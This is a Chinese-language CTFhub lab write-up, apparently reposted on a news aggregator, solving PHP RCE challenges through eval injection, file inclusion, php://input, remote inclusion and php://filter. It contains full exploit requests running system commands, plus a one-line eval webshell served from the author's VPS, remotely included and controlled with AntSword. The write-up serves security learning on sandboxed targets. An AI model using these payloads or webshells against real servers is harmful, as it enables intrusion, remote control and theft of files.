当前位置: 首页 > news >正文

CTFhub靶场RCE学习

 靶场

eval执行 

<?php
if (isset($_REQUEST['cmd'])) {eval($_REQUEST["cmd"]);
} else {highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行
先查看一下根目录文件 ?cmd=system("ls");
!切记最后的分号不可省略! 

 看看上一级的文件夹 /?cmd=system("ls%20/");

 打开flag文件发现FLAG/?cmd=system("cat%20/flag_910");

文件包含

<?php
error_reporting(0);
if (isset($_GET['file'])) {if (!strpos($_GET["file"], "flag")) {include $_GET["file"];} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?
i have a shell, how to use it ?

这里有一个strpos(string,find,start)函数

意思在string字符串中找find的位置,start是查找的开始位置

那么这句代码的意思就是如果file中没有flag字符串就执行下面的include $_GET["file"]

否则就输出Hacker。

再看一眼shell

是将ctfhub传的参数用php执行

题目的目的也是让我们执行shell木马那么我们就输入

?file=shell.txt

shell中要传的参数为ctfhub=system("ls");

直接使用hackbar

php://input

<?php
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 6) === "php://" ) {include($_GET["file"]);} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
i don't have shell, how to get flag?
phpinfo

这道题要做的事情就是,找到flag文件存储的存储的位置,然后,读取。这样的话,应该是需要命令执行的漏洞。此时php://input有一个

 POC

POST /?file=php://input HTTP/1.1
Host: challenge-d0b4adabd422fad4.sandbox.ctfhub.com:10800
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge-d0b4adabd422fad4.sandbox.ctfhub.com:10800/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24<?php system("ls /"); ?>

成功执行直接读取flag

OK

 远程包含

<?php
error_reporting(0);
if (isset($_GET['file'])) {if (!strpos($_GET["file"], "flag")) {include $_GET["file"];} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>
i don't have shell, how to get flag?
phpinfo

这关其实比较简单,直接远程包含文件就可以

POC

?file=http://127.0.0.1/upload/poc.txt

 文件包含嘛,那就是直接解析执行

<?php system('ls');?>
<?php system('ls /');?>
<?php system('cat /flag');?>

成功读取flag

ctfhub{b18f73d52a985977e0dcfe05}

方法一:PHP://input

检查网页显示内容,网页源代码显示的和之前的类似,一眼可以看出可能含有文件包含。

检查 phpinfo 环境配置信息页面,检查 allow 的两个选项是否开放。可以看到这两个功能都是开放的。

使用 burpsuite 抓包工具抓取网页 url 并重放。#这里要使用get请求

POC

GET /?file=php://input HTTP/1.1
Host: challenge-e9b8fabf7afaf188.sandbox.ctfhub.com:10800
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive
Content-Length: 23<?php system('ls /');?>

成功读取

        

0x2 方法二:服务器执行

为了方便管理,在服务器中创建一个 payload 文件夹。

mkdir payload
        

打开 payload 文件夹,并在文件中使用 vim 编辑器编写一个一句话木马。

<?php @eval($_POST[CTFhub]); ?>
        

使用 python 启动 http 服务,用于后续执行远程文件包含。

python3 -m http.server 8000
        

在本地浏览器总访问 shell.txt 文件路径检查一句话木马是否可用,发现可用正常使用。

         

使用蚁剑连接到自己服务器中的 shell.txt 文件。

http://challenge-688a4674920fa2f5.sandbox.ctfhub.com:10800/?file=http://VPS:8000/payload/shell.txt

 检查网页内容发现此题 flag 。

读取源代码

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 6) === "php://" ) {include($_GET["file"]);} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>
i don't have shell, how to get flag?
flag in /flag

题目要求又必须使用php://。而且flag就在/flag里。

这里引入另一个php伪协议。php://filter。附上使用方法:

大佬给的解题思路

/?file=php://filter/resource=/flag

POC

GET /?file=php://filter/resource=/flag HTTP/1.1
Host: challenge-068a53e318ea452d.sandbox.ctfhub.com:10800
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive

http://www.lryc.cn/news/482959.html

相关文章:

  • 一文3000字从0到1带你进行Mock测试(建议收藏)
  • 数据结构 ——— 链式二叉树的销毁(释放)
  • log4j异常堆栈文件输出
  • 在配置环境变量之后使用Maven报错 : mvn : 无法将“mvn”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。
  • SpringSecurity源码中核心类
  • 【JAVA】使用IDEA创建maven聚合项目
  • 猿创征文|Inscode桌面IDE:打造高效开发新体验
  • 概率论中的PMF、PDF和CDF
  • Vue 简单入手
  • Github配置ssh key原理及操作步骤
  • 大循环引起CPU负载过高
  • [Java]微服务治理
  • 深入解析C语言中的extern关键字:语法、工作原理与高级应用技巧
  • 元器件封装
  • 状态空间方程离散化(Matlab符号函数)卡尔曼
  • 软件设计师-计算机网络
  • SpringBoot操作Elasticsearch
  • 阿里云aliyun gradle安装包下载地址
  • 【设计模式】创建型设计模式-工厂模式的实现
  • 【分布式】CAP理论
  • 市域社会治理现代化解决方案-2
  • 谷歌浏览器的自动翻译功能如何开启
  • Linux设置socks代理
  • 【ACM出版】第四届信号处理与通信技术国际学术会议(SPCT 2024)
  • 蓝队技术学习
  • openpyxl处理Excel模板,带格式拷贝行和数据填入
  • 无法在带有 WHM/cPanel 的 Ubuntu 22.04 服务器上安装 PHP 7.x – 缺少软件包
  • 数据结构-递归函数的调用栈过程
  • 在 WPF 中,如何实现数据的双向绑定?
  • pyinstaller 打包 playwright -- 如何将浏览器打包到程序中